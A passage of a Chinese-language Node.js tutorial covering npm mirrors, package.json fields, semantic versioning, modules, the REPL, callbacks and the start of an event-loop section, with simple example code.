的官方镜像是非常慢的,这里推荐使用淘宝 NPM 镜像。<br>淘宝 NPM 镜像是一个完整 npmjs.org 镜像,你可以用此代替官方版本(只读),同步频率目前为 10分钟 一次以保证尽量与官方服务同步。<br>你可以使用淘宝定制的 cnpm (gzip 压缩支持) 命令行工具代替默认的 npm:<br><code>$ npm install -g cnpm --registry=https://registry.npm.taobao.org</code><br>这样就可以使用 cnpm 命令来安装模块了:<br><code>$ cnpm install [name]</code><br>更多信息可以查阅:<a href="http://npm.taobao.org/" target="_blank" rel="noopener">http://npm.taobao.org/</a>。</p><h2 id="package-json"><a href="#package-json" class="headerlink" title="package.json"></a>package.json</h2><p>在模块中,package.json定义了包的属性,例如,express包中的package.json文件内容为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "name": "express",</span><br><span class="line"> "description": "Fast, unopinionated, minimalist web framework",</span><br><span class="line"> "version": "4.13.3",</span><br><span class="line"> "author": {</span><br><span class="line"> "name": "TJ Holowaychuk",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> "contributors": [</span><br><span class="line"> {</span><br><span class="line"> "name": "Aaron Heckmann",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "Ciaran Jessup",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "Douglas Christopher Wilson",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "Guillermo Rauch",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "Jonathan Ong",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "Roman Shtylman",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "Young Jae Sim",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> }</span><br><span class="line"> ],</span><br><span class="line"> "license": "MIT",</span><br><span class="line"> "repository": {</span><br><span class="line"> "type": "git",</span><br><span class="line"> "url": "git+https://github.com/strongloop/express.git"</span><br><span class="line"> },</span><br><span class="line"> "homepage": "http://expressjs.com/",</span><br><span class="line"> "keywords": [</span><br><span class="line"> "express",</span><br><span class="line"> "framework",</span><br><span class="line"> "sinatra",</span><br><span class="line"> "web",</span><br><span class="line"> "rest",</span><br><span class="line"> "restful",</span><br><span class="line"> "router",</span><br><span class="line"> "app",</span><br><span class="line"> "api"</span><br><span class="line"> ],</span><br><span class="line"> "dependencies": {</span><br><span class="line"> "accepts": "~1.2.12",</span><br><span class="line"> "array-flatten": "1.1.1",</span><br><span class="line"> "content-disposition": "0.5.0",</span><br><span class="line"> "content-type": "~1.0.1",</span><br><span class="line"> "cookie": "0.1.3",</span><br><span class="line"> "cookie-signature": "1.0.6",</span><br><span class="line"> "debug": "~2.2.0",</span><br><span class="line"> "depd": "~1.0.1",</span><br><span class="line"> "escape-html": "1.0.2",</span><br><span class="line"> "etag": "~1.7.0",</span><br><span class="line"> "finalhandler": "0.4.0",</span><br><span class="line"> "fresh": "0.3.0",</span><br><span class="line"> "merge-descriptors": "1.0.0",</span><br><span class="line"> "methods": "~1.1.1",</span><br><span class="line"> "on-finished": "~2.3.0",</span><br><span class="line"> "parseurl": "~1.3.0",</span><br><span class="line"> "path-to-regexp": "0.1.7",</span><br><span class="line"> "proxy-addr": "~1.0.8",</span><br><span class="line"> "qs": "4.0.0",</span><br><span class="line"> "range-parser": "~1.0.2",</span><br><span class="line"> "send": "0.13.0",</span><br><span class="line"> "serve-static": "~1.10.0",</span><br><span class="line"> "type-is": "~1.6.6",</span><br><span class="line"> "utils-merge": "1.0.0",</span><br><span class="line"> "vary": "~1.0.1"</span><br><span class="line"> },</span><br><span class="line"> "devDependencies": {</span><br><span class="line"> "after": "0.8.1",</span><br><span class="line"> "ejs": "2.3.3",</span><br><span class="line"> "istanbul": "0.3.17",</span><br><span class="line"> "marked": "0.3.5",</span><br><span class="line"> "mocha": "2.2.5",</span><br><span class="line"> "should": "7.0.2",</span><br><span class="line"> "supertest": "1.0.1",</span><br><span class="line"> "body-parser": "~1.13.3",</span><br><span class="line"> "connect-redis": "~2.4.1",</span><br><span class="line"> "cookie-parser": "~1.3.5",</span><br><span class="line"> "cookie-session": "~1.2.0",</span><br><span class="line"> "express-session": "~1.11.3",</span><br><span class="line"> "jade": "~1.11.0",</span><br><span class="line"> "method-override": "~2.3.5",</span><br><span class="line"> "morgan": "~1.6.1",</span><br><span class="line"> "multiparty": "~4.1.2",</span><br><span class="line"> "vhost": "~3.0.1"</span><br><span class="line"> },</span><br><span class="line"> "engines": {</span><br><span class="line"> "node": ">= 0.10.0"</span><br><span class="line"> },</span><br><span class="line"> "files": [</span><br><span class="line"> "LICENSE",</span><br><span class="line"> "History.md",</span><br><span class="line"> "Readme.md",</span><br><span class="line"> "index.js",</span><br><span class="line"> "lib/"</span><br><span class="line"> ],</span><br><span class="line"> "scripts": {</span><br><span class="line"> "test": "mocha --require test/support/env --reporter spec --bail --check-leaks test/ test/acceptance/",</span><br><span class="line"> "test-ci": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --require test/support/env --reporter spec --check-leaks test/ test/acceptance/",</span><br><span class="line"> "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --require test/support/env --reporter dot --check-leaks test/ test/acceptance/",</span><br><span class="line"> "test-tap": "mocha --require test/support/env --reporter tap --check-leaks test/ test/acceptance/"</span><br><span class="line"> },</span><br><span class="line"> "gitHead": "ef7ad681b245fba023843ce94f6bcb8e275bbb8e",</span><br><span class="line"> "bugs": {</span><br><span class="line"> "url": "https://github.com/strongloop/express/issues"</span><br><span class="line"> },</span><br><span class="line"> "_id": "[email protected]",</span><br><span class="line"> "_shasum": "ddb2f1fb4502bf33598d2b032b037960ca6c80a3",</span><br><span class="line"> "_from": "express@*",</span><br><span class="line"> "_npmVersion": "1.4.28",</span><br><span class="line"> "_npmUser": {</span><br><span class="line"> "name": "dougwilson",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> "maintainers": [</span><br><span class="line"> {</span><br><span class="line"> "name": "tjholowaychuk",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "jongleberry",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "dougwilson",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "rfeng",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "aredridel",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "strongloop",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> "name": "defunctzombie",</span><br><span class="line"> "email": "[email protected]"</span><br><span class="line"> }</span><br><span class="line"> ],</span><br><span class="line"> "dist": {</span><br><span class="line"> "shasum": "ddb2f1fb4502bf33598d2b032b037960ca6c80a3",</span><br><span class="line"> "tarball": "http://registry.npmjs.org/express/-/express-4.13.3.tgz"</span><br><span class="line"> },</span><br><span class="line"> "directories": {},</span><br><span class="line"> "_resolved": "https://registry.npmjs.org/express/-/express-4.13.3.tgz",</span><br><span class="line"> "readme": "ERROR: No README data found!"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中较为固定的属性有:</p><ul><li><strong>name</strong> - 包名。</li><li><strong>version</strong> - 包的版本号。</li><li><strong>description</strong> - 包的描述。</li><li><strong>homepage</strong> - 包的官网 url 。</li><li><strong>author</strong> - 包的作者姓名。</li><li><strong>contributors</strong> - 包的其他贡献者姓名。</li><li><strong>dependencies</strong> - 依赖包列表。如果依赖包没有安装,npm 会自动将依赖包安装在 node_module 目录下。</li><li><strong>repository</strong> - 包代码存放的地方的类型,可以是 git 或 svn,git 可在 Github 上。</li><li><strong>main</strong> - main 字段指定了程序的主入口文件,require(‘moduleName’) 就会加载这个文件。这个字段的默认值是模块根目录下面的 index.js。</li><li><strong>keywords</strong> - 关键字</li></ul><h3 id="版本号解释"><a href="#版本号解释" class="headerlink" title="版本号解释"></a>版本号解释</h3><p>使用NPM下载和发布代码时都会接触到版本号。NPM使用语义版本号来管理代码,这里简单介绍一下。<br>语义版本号分为X.Y.Z三位,分别代表主版本号、次版本号和补丁版本号。当代码变更时,版本号按以下原则更新。</p><ul><li>如果只是修复bug,需要更新Z位。</li><li>如果是新增了功能,但是向下兼容,需要更新Y位。</li><li>如果有大变动,向下不兼容,需要更新X位。</li></ul><p>版本号有了这个保证后,在申明第三方包依赖时,除了可依赖于一个固定版本号外,还可依赖于某个范围的版本号。例如”argv”: “0.0.x”表示依赖于0.0.x系列的最新版argv。<br>NPM支持的所有版本号范围指定方式可以查看<a href="https://npmjs.org/doc/files/package.json.html#dependencies" target="_blank" rel="noopener">官方文档</a>。</p><h2 id="创建模块"><a href="#创建模块" class="headerlink" title="创建模块"></a>创建模块</h2><p>在 Node.js 中,创建一个模块非常简单,如下我们创建一个 main.js 文件,代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">var hello = require('./hello');</span><br><span class="line">hello.world();</span><br></pre></td></tr></table></figure><p>以上实例中,代码 require(‘./hello’) 引入了当前目录下的 hello.js 文件(./ 为当前目录,node.js 默认后缀为 js)。<br>Node.js 提供了 exports 和 require 两个对象,其中 exports 是模块公开的接口,require 用于从外部获取一个模块的接口,即所获取模块的 exports 对象。<br>接下来我们就来创建 hello.js 文件,代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">exports.world = function() {</span><br><span class="line"> console.log('Hello World');</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在以上示例中,hello.js 通过 exports 对象把 world 作为模块的访问接口,在 main.js 中通过 require(‘./hello’) 加载这个模块,然后就可以直接访 问 hello.js 中 exports 对象的成员函数了。<br>有时候我们只是想把一个对象封装到模块中,格式如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">module.exports = function() {</span><br><span class="line"> // ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>例如:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">//hello.js </span><br><span class="line">function Hello() { </span><br><span class="line"> var name; </span><br><span class="line"> this.setName = function(thyName) { </span><br><span class="line"> name = thyName; </span><br><span class="line"> }; </span><br><span class="line"> this.sayHello = function() { </span><br><span class="line"> console.log('Hello ' + name); </span><br><span class="line"> }; </span><br><span class="line">}; </span><br><span class="line">module.exports = Hello;</span><br></pre></td></tr></table></figure><p>这样就可以直接获得这个对象了:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">//main.js </span><br><span class="line">var Hello = require('./hello'); </span><br><span class="line">hello = new Hello(); </span><br><span class="line">hello.setName('BYVoid'); </span><br><span class="line">hello.sayHello();</span><br></pre></td></tr></table></figure><p>模块接口的唯一变化是使用 module.exports = Hello 代替了exports.world = function(){}。 在外部引用该模块时,其接口对象就是要输出的 Hello 对象本身,而不是原先的 exports。</p><hr><h1 id="Node-js-REPL-交互式解释器"><a href="#Node-js-REPL-交互式解释器" class="headerlink" title="Node.js REPL(交互式解释器)"></a>Node.js REPL(交互式解释器)</h1><p>Node.js REPL(Read Eval Print Loop:交互式解释器) 表示一个电脑的环境,类似 Window 系统的终端或 Unix/Linux shell,我们可以在终端中输入命令,并接收系统的响应。<br>Node 自带了交互式解释器,可以执行以下任务:</p><ul><li><strong>读取</strong> - 读取用户输入,解析输入了Javascript 数据结构并存储在内存中。</li><li><strong>执行</strong> - 执行输入的数据结构</li><li><strong>打印</strong> - 输出结果</li><li><strong>循环</strong> - 循环操作以上步骤直到用户两次按下 ctrl-c 按钮退出。<br>Node 的交互式解释器可以很好的调试 Javascript 代码。<br>开始学习 REPL<br>我们可以输入以下命令来启动 Node 的终端:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ node</span><br></pre></td></tr></table></figure>这时我们就可以在 > 后输入简单的表达式,并按下回车键来计算结果。<h2 id="简单的表达式运算"><a href="#简单的表达式运算" class="headerlink" title="简单的表达式运算"></a>简单的表达式运算</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ node</span><br><span class="line">> 1 +4</span><br><span class="line">5</span><br><span class="line">> 5 / 2</span><br><span class="line">2.5</span><br><span class="line">> 3 * 6</span><br><span class="line">18</span><br><span class="line">> 4 - 1</span><br><span class="line">3</span><br><span class="line">> 1 + ( 2 * 3 ) - 4</span><br><span class="line">3</span><br><span class="line">></span><br></pre></td></tr></table></figure><h2 id="使用变量"><a href="#使用变量" class="headerlink" title="使用变量"></a>使用变量</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$ node</span><br><span class="line">> x = 10</span><br><span class="line">10</span><br><span class="line">> var y = 10</span><br><span class="line">undefined</span><br><span class="line">> x + y</span><br><span class="line">20</span><br><span class="line">> console.log("Hello World")</span><br><span class="line">Hello World</span><br><span class="line">undefined</span><br><span class="line">> console.log("www.runoob.com")</span><br><span class="line">www.runoob.com</span><br><span class="line">undefined</span><br></pre></td></tr></table></figure><h2 id="多行表达式"><a href="#多行表达式" class="headerlink" title="多行表达式"></a>多行表达式</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ node</span><br><span class="line">> var x = 0</span><br><span class="line">undefined</span><br><span class="line">> do {</span><br><span class="line">... x++;</span><br><span class="line">... console.log("x: " + x);</span><br><span class="line">... } while ( x < 5 );</span><br><span class="line">x: 1</span><br><span class="line">x: 2</span><br><span class="line">x: 3</span><br><span class="line">x: 4</span><br><span class="line">x: 5</span><br><span class="line">undefined</span><br><span class="line">></span><br></pre></td></tr></table></figure>… 三个点的符号是系统自动生成的,你回车换行后即可。Node 会自动检测是否为连续的表达式。<h2 id="下划线-变量"><a href="#下划线-变量" class="headerlink" title="下划线(_)变量"></a>下划线(_)变量</h2>你可以使用下划线(_)获取上一个表达式的运算结果:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ node</span><br><span class="line">> var x = 10</span><br><span class="line">undefined</span><br><span class="line">> var y = 20</span><br><span class="line">undefined</span><br><span class="line">> x + y</span><br><span class="line">30</span><br><span class="line">> var sum = _</span><br><span class="line">undefined</span><br><span class="line">> console.log(sum)</span><br><span class="line">30</span><br><span class="line">undefined</span><br></pre></td></tr></table></figure></li></ul><h2 id="REPL-命令"><a href="#REPL-命令" class="headerlink" title="REPL 命令"></a>REPL 命令</h2><ul><li><strong>ctrl + c</strong> - 退出当前终端。</li><li><strong>ctrl + c</strong> 按下两次 - 退出 Node REPL。</li><li><strong>ctrl + d</strong> - 退出 Node REPL.</li><li><strong>向上/向下键</strong> - 查看输入的历史命令</li><li><strong>tab 键</strong> - 列出当前命令</li><li><strong>.help</strong> - 列出使用命令</li><li><strong>.break</strong> - 退出多行表达式</li><li><strong>.clear</strong> - 退出多行表达式</li><li><strong>.save filename</strong> - 保存当前的 Node REPL 会话到指定文件</li><li><strong>.load filename</strong> - 载入当前 Node REPL 会话的文件内容。</li></ul><hr><h1 id="Node-js-回调函数"><a href="#Node-js-回调函数" class="headerlink" title="Node.js 回调函数"></a>Node.js 回调函数</h1><h2 id="异步与非阻塞"><a href="#异步与非阻塞" class="headerlink" title="异步与非阻塞"></a>异步与非阻塞</h2><p>阻塞和非阻塞,同步和异步是node.js里经常遇到的词汇,我举个简单的例子来说明:<br>我要看足球比赛,但是妈妈叫我烧水,电视机在客厅,烧水要在厨房。家里有2个水壶,一个是普通的水壶,另一个是水开了会叫的那种水壶。我可以:</p><ul><li>用普通的水壶烧,人在边上看着,水开了再去看球。(同步,阻塞)这个是常规做法,但是我看球不爽了。</li><li>用普通水壶烧,人去看球,隔几分钟去厨房看看。(同步,非阻塞)这个又大问题,万一在我离开的几分钟水开了,我就麻烦了。</li><li>用会叫的水壶,人在边上看着。(异步,阻塞)这个没有问题,但是我太傻了。</li><li>用会叫的水壶,人去看球,听见水壶叫了再去看。(异步,非阻塞)这个应该是最好的。<br>等着看球的我:阻塞<br>看着电视的我:非阻塞<br>普通水壶:同步<br>会叫的水壶:异步<br>所以,异步往往配合非阻塞,才能发挥出威力。</li></ul><p><strong>同步</strong>:同步就是你要做的事你列了一个清单,按照清单上的顺序 一个一个执行<br><strong>异步</strong>:就是可以同时干好几件事<br><strong>阻塞</strong>:就是按照清单上的顺序一件一件的往下走,当一件事没有做完,下面的事都干不了<br><strong>非阻塞</strong>:就是这件事没有干完,后面的事不会等你这件事干完了再干,而是直接开始干下一件事,等你这件事干完了,后面的事也干完了,这样就大大提高了效率</p><h2 id="node-js-回调函数"><a href="#node-js-回调函数" class="headerlink" title="node.js 回调函数"></a>node.js 回调函数</h2><p>Node.js 异步编程的直接体现就是回调。<br>异步编程依托于回调来实现,但不能说使用了回调后程序就异步化了。<br>回调函数在完成任务后就会被调用,Node 使用了大量的回调函数,Node 所有 API 都支持回调函数。<br>例如,我们可以一边读取文件,一边执行其他命令,在文件读取完成后,我们将文件内容作为回调函数的参数返回。这样在执行代码时就没有阻塞或等待文件 I/O 操作。这就大大提高了 Node.js 的性能,可以处理大量的并发请求。<br>回调函数一般作为函数的最后一个参数出现:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">function foo1(name, age, callback) { }</span><br><span class="line">function foo2(value, callback1, callback2) { }</span><br></pre></td></tr></table></figure><h2 id="阻塞代码实例"><a href="#阻塞代码实例" class="headerlink" title="阻塞代码实例"></a>阻塞代码实例</h2><p>创建一个文件 input.txt ,内容如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure><p>创建 main.js 文件, 代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">var data = fs.readFileSync('input.txt');</span><br><span class="line"></span><br><span class="line">console.log(data.toString());</span><br><span class="line">console.log("程序执行结束!");</span><br></pre></td></tr></table></figure><p>以上代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br><span class="line"></span><br><span class="line">程序执行结束!</span><br></pre></td></tr></table></figure><h2 id="非阻塞代码实例"><a href="#非阻塞代码实例" class="headerlink" title="非阻塞代码实例"></a>非阻塞代码实例</h2><p>创建一个文件 input.txt ,内容如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure><p>创建 main.js 文件, 代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">fs.readFile('input.txt', function (err, data) {</span><br><span class="line"> if (err) return console.error(err);</span><br><span class="line"> console.log(data.toString());</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">console.log("程序执行结束!");</span><br></pre></td></tr></table></figure><p>以上代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">程序执行结束!</span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure><p>以上两个实例我们了解了阻塞与非阻塞调用的不同。第一个实例在文件读取完后才执行完程序。 第二个实例我们不需要等待文件读取完,这样就可以在读取文件时同时执行接下来的代码,大大提高了程序的性能。<br>因此,阻塞是按顺序执行的,而非阻塞是不需要按顺序的,所以如果需要处理回调函数的参数,我们就需要写在回调函数内。</p><hr><h1 id="Node-js-事件循环"><a href="#Node-js-事件循环" class="headerlink" title="Node.js 事件循环"></a>Node.js 事件循环</h1><p>Node.js 是单进程单线程应用程序,但是因为 V8 引擎提供的异步执行回调接口,通过这些接口可以处理大量的并发,所以性能非常高。<br>Node.js 几乎每一个 API 都是支持回调函数的。<br>Node.js 基本上所有的事件机制都是用设计模式中观察者模式实现。<br>Node.js 单线程类似进入一个while(true)的事件循环,直到没有事件观察者退出,每个异步事件都生成一个事件观察者,如果有事件发生就调用该回调函数.</p><h2 id="事件驱动程序"><a href="#事件驱动程序" class="headerlink" title="事件驱动程序"></a>事件驱动程序</h2><p>Node.js 使用事件驱动模型,当web server接收到请求,就把它关闭然后进行处理,然后去服务下一个web请求。<br>当这个请求完成,它被放回处理队列,当到达队列开头,这个结果被返回给用户。<br>这个模型非常高效可扩展性非常强,因为webserver一直接受请求而不等待任何读写操作。(这也被称之为非阻塞式IO或者事件驱动IO)<br>在事件驱动模型中,会生成一个主循环来监听事件,当检测到事件时触发回调函数。<br><img src="http://www.runoob.com/wp-content/uploads/2015/09/event_loop.jpg" alt=""><br>整个事件驱动的流程就是这么实现的,非常简洁。有点类似于观察者模式,事件相当于一个主题(Subject),而所有注册到这个事件上的处理函数相当于观察者(Observer)。<br>Node.js 有多个内置的事件,我们可以通过引入 events 模块,并通过实例化 EventEmitter 类来绑定和监听事件,如下实例:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// 引入 events 模块</span><br><span class="line">var events = require('events');</span><br><span class="line">// 创建 eventEmitter 对象</span><br><span class="line">var eventEmitter = new events.EventEmitter();</span><br></pre></td></tr></table></figure><p>以下程序绑定事件处理程序:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 绑定事件及事件的处理程序</span><br><span class="line">eventEmitter.on('eventName', eventHandler);</span><br></pre></td></tr></table></figure><p>我们可以通过程序触发事件:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 触发事件</span><br><span class="line">eventEmitter.emit('eventName');</span><br></pre></td></tr></table></figure><p>事件就是需要<strong>eventEmitter.on</strong>去绑定一个事件通过<strong>eventEmitter.emit</strong>去触发这个事件其次说的是 事件的<strong>接收</strong>和<strong>发生</strong>是分开的 就像 一个外卖店你可以不停的接受很多订单, 接受以后开始告诉厨师去做外卖, 做好的外卖对应的外送给每个用户,如果单线程的话那只能是接收一个订单, 做好以后在接收下一个外卖订单,明显效率非常低。<br>事件可以不停的接受不停的发生也是为了提高效率。</p><h3 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h3><p>创建 main.js 文件,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span 